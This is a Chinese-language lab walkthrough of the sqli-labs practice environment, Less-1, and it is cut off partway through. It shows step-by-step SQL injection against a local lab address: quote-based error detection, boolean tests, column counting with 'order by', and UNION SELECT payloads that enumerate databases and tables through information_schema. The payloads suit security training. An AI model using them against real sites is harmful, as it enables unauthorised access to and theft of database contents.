sqli-lab通关笔记前6关
文章目录
Less-1–基于单引号的字符型注入
配置信息
在Lsee-1目录下的index.php中配置
echo $sql;
echo "<br>";
用于在网页显示sql语句
初始界面
上面提示:
Please input the ID as parameter with numeric value
意思是我们应该输入一个ID信息
输入ID后的界面
-
首先,按F12–【hackbar】
-
然后,Load加载网页地址到URL上
-
在URL上输入【 ?id=1】
-
然后点击【EXECUTE】按钮
-
结果如下所示,
-
成功登录,显示数据库中id=1的信息
注意
输入ID值,可以依次查看数据库中ID信息
判断是否有漏洞法1
在ID值后面加上单引号 【’】,即可判断是否有漏洞
情况如下所示
判断出有SQL语句错误,说明有SQL漏洞
测试
http://192.168.81.135/sqli/Less-1/?id=1' or 1=1 --+
显示正确结果
注意
–+:结束符
–:注释符
#:注释符
数据库中的查询语句为
select * from users where id='1' or 1=1--' limit 0,1;
其中
limit 0,1:
0:表示从0位置开始,
1:为步长,表示几个
判断漏洞法2
-
首先注入语句
?id=1' and 1=1--+
正常登录不报错
-
然后把1=1改为1=2
?id=1' and 1=2--+
不显示任何信息(说明有注入漏洞)
注入字符判断列数
注:
-
超出列数会报错
-
二分查找试出列出
-
经实验列数为3
-
http://192.168.81.135/sqli/Less-1/?id=1' order by 3 --+
-
判断数据显示点
注
ID一定要改为0或其他非正整数即可(x也可以)
http://192.168.81.135/sqli/Less-1/?id=0' union select 1,2,3 --+
注入字符后加sql注入基本语句
查看当前数据库
http://192.168.81.135/sqli/Less-1/?id=0' union select 1,2,database() --+
根据数字位置查看数据库
http://192.168.81.135/sqli/Less-1/?id=0' union select 1,2,schema_name from information_schema.schemata limit 0,1 --+
改变0的数字大小即可查看对应数据库中名字
查看所有数据库
http://192.168.81.135/sqli/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
group_concat():从分组后的字段中选出函数内的字段值
查表
http://192.168.81.135/sqli/Less-1/?id=0' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+
0x7365637572697479:security的16进制
limit后面的数字